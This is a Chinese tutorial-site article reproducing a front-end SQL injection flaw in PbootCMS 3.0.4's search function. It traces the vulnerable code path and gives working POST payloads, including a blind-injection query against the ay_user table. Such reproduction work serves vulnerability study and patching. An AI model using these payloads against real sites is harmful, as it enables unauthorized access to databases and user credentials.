pBootCMS 3.0.4 前台注入漏洞复现,Pbootcms文章,PB 教程,新手站长网
  • 首页
  • 站长入门
    • 外贸建站
    • WooCommerce
    • 建站入门
    • 域名知识
    • 编程代码
    • 工具资源
    • 网站优化
    • 数据库
    • 服务器
    • 小程序
    • 电商
    • 编程英语
  • Cms文章
    • wordpress
    • pbootcms
    • zblog
    • 易优
    • 帝国cms
    • 迅睿
  • PB 教程
    • 新手入门教程
    • Pbootcms文章
    • 用户使用手册
    • 常见问题解答
    • pbootcms小程序
  • 应用市场
  • 笔记分享
    • 网络安全
    • 自媒体
    • 抖音
    • 快手
    • 其他
    • 手机技巧
  • 会员中心
首页 > PB 教程 > Pbootcms文章 >

pBootCMS 3.0.4 前台注入漏洞复现

2022-07-23 发布在 Pbootcms文章0

漏洞点跟进

  • 网上公布漏洞点在/?p=search
    ,POST数据:1=select 1
    ,

  1. apps/home/controller/ParserController.php
    的parserSearchLabel
    函数

image-20211108160733164

请求的数据赋值给$receive
进行遍历,$key
进入request
函数进行处理

  1. 跟进request
    函数,文件core/function/helper.php

image-20211108160421252

标定请求类型POST或GET
,构造变量

$condition = array(        'd_source' => 'post',        'd_type' => 'vars',        'd_require' => false,        $name => $key,        'd_default' => null    );

传递给filter($name, $condition)

  1. 跟进filter
    函数,文件core/function/helper.php

image-20211108161336349

赋值$data = @$_POST@[$varname];
,并进行去空格处理

image-20211108161449842

之后进行类型检测,正则匹配

image-20211108161543059image-20211108161556813

可以看到注入字符串只能包含中文、字母、数字、横线、点、逗号、空格。

最后进行return escape_string($data);
处理。

  1. 继续跟进escape_string
    函数。文件core/function/handle.php

image-20211108161917276

进行了htmlspecialchars
和addslashes
转义。

  1. 数据经过一系列过滤后返回到apps/home/controller/ParserController.php
    文件的parserSearchLabel
    函数,赋值给$where3
    数组。

image-20211108162140400
  1. 继续跟着变量$where3
    ,进入到读取数据函数$data = $this->model->getList($scode, $num, $order, $where1, $where2, $where3, $fuzzy, $start, $lfield, $lg);

    image-20211108162403932

  2. 跟进getList
    函数,文件apps/home/model/ParserModel.php

    image-20211108162741457

函数中$select=$where3
,

  1. 继续跟进$select
    变量

    image-20211108162943901

进入where
函数进行处理

9.继续跟进where
函数


image-20211108163233609

可以看到条件之间使用AND
进行连接当传递的参数 $where
是一个数组时就遍历数组,当$where
是一个索引数组时,则:$where_string.=$value
。故而可以控制$where3
为索引数组,进而实现sql注入。

payload数据流跟踪

  • 进行post请求搜索数据1=1
    时,在$where3
    变量下断点

    image-20211108164300567

    $where3=[1]

  • 继续跟踪sql语句构造,经过一些类转换形成了sql语句SELECT COUNT(*) AS sum FROM ay_content a  LEFT JOIN ay_content_sort b ON a.scode=b.scode LEFT JOIN ay_content_sort c ON a.subscode=c.scode LEFT JOIN ay_model d ON b.mcode=d.mcode LEFT JOIN ay_member_group f ON a.gid=f.id LEFT JOIN ay_content_ext e ON a.id=e.contentid WHERE(a.scode in ('5','6','7') OR a.subscode='5') AND(a.status=1 AND d.type=2 AND a.date<'2021-11-08 16:49:33' AND a.acode='cn' ) AND(1)
    ,最后时把输入的1=1
    转换成了条件中的AND (1)

    image-20211108165408166

  • 查询到所有信息

    image-20211108165755096

  • 当post数据为1=0
    时没抓到sql语句,用1=select 0
    抓到sql语句为SELECT COUNT(*) AS sum FROM ay_content a  LEFT JOIN ay_content_sort b ON a.scode=b.scode LEFT JOIN ay_content_sort c ON a.subscode=c.scode LEFT JOIN ay_model d ON b.mcode=d.mcode LEFT JOIN ay_member_group f ON a.gid=f.id LEFT JOIN ay_content_ext e ON a.id=e.contentid WHERE(a.scode in ('5','6','7') OR a.subscode='5') AND(a.status=1 AND d.type=2 AND a.date<'2021-11-08 17:00:56' AND a.acode='cn' ) AND(select 0)
    同样添加了AND(select 0)
    语句,sql注入可行。

    image-20211108170258976


image-20211108225320420

漏洞利用

  • post传输数据1=select 1 from ay_user where username  regexp 0x61
    可以进行盲注。

    image-20211108235622874






如果您的问题还未解决可以联系站长付费协助。 加入我们

有问题可以加入技术QQ群一起交流学习
本站vip会员 请加入无忧模板网 VIP群(50604020) PS:加入时备注用户名或昵称
普通注册会员或访客 请加入无忧模板网 技术交流群(50604130)
客服微信号:15898888535
声明:本站所有文章资源内容,如无特殊说明或标注,均为采集网络资源。如若内容侵犯了原著者的合法权益,可联系站长删除。

前台 post 公布 漏洞点 search 数据 函数 复现 apps controller
赏
上一篇 pbootcms为啥要升级最新版本 漏洞修复
下一篇 pbootcms网站后台使用教程1 网址授权

相关文章

  • PbootCMS网站模板安装教程 PbootCMS新手安装教程图文详细
  • 用wordpress中wp_postmeta数据过大清理垃圾数据
  • java连数据库教程—java连接数据库有几种方法
  • sql数据库语句教程(数据库sql语句大全实例)
  • eyou易优cms使用内置的规则验证单个数据的方法
  • 网站建设前台后台教程;网站做了前台如何跟后台结合

热门

  • 1 PbootCMS网站模板安装教程 PbootCMS新手安装教程图文详细
  • 2 pbootcms授权方式 pbootcms官方网站打不开授权不了怎么办
  • 3 PbootCMS文章列表没有缩略图时显示指定的默认图片
  • 4 PbootCMS后台关闭验证码,登录提示验证码不能空的解决方法

应用市场

  • ¥100 采集文章自动推送百度插件 PHP插件支持推送百度当天文章

    ¥100 采集文章自动推送百度插件 PHP插件支持推送百度当天文章

    2025-01-19

  • ¥50 pbootcms副栏目多选功能 默认只能多选一个 此插件可多选多个栏目

    ¥50 pbootcms副栏目多选功能 默认只能多选一个 此插件可多选多个栏目

    2025-01-19

  • ¥100  根据标题生成图片,文章页自动配标题配图,避免版权问题,所有cms通用php

    ¥100 根据标题生成图片,文章页自动配标题配图,避免版权问题,所有cms通用php

    2025-01-19

  • ¥300 pbootcms插件 附件阿里云OSS直传适合大文件视频类

    ¥300 pbootcms插件 附件阿里云OSS直传适合大文件视频类

    2025-01-19

热门标签

置顶   发短   撤销   时光   Centos8   长度   发多   基础库   Helvetica   找到   NET   投资   有关   db   客户机   HP   SEOer   创建   播放量   消费者   工具栏   卫生纸   专业版   nova8   申诉   低调   Neue   首先   业务   暴富   历程   stripos   马木马   USB   苦恼   网址   博主   产品   文档   爆单  
  • 站长入门
  • Cms文章
  • PB 教程
  • 应用市场
  • 笔记分享
  • 会员中心
  • XML地图

Copyright © 2018-2020 新手站长网 All Rights Reserved.
免责声明:本站所有资源(模板、图片、字体等)搜集整理于互联网或者网友提供,仅供学习与交流使用,如果不小心侵犯到你的权益,请及时联系我们删除该资源,邮箱mcuv#qq.com。 鲁ICP备2021016954号-3 网站模板

实用工具

觉得文章有用就打赏一下吧

微信扫一扫打赏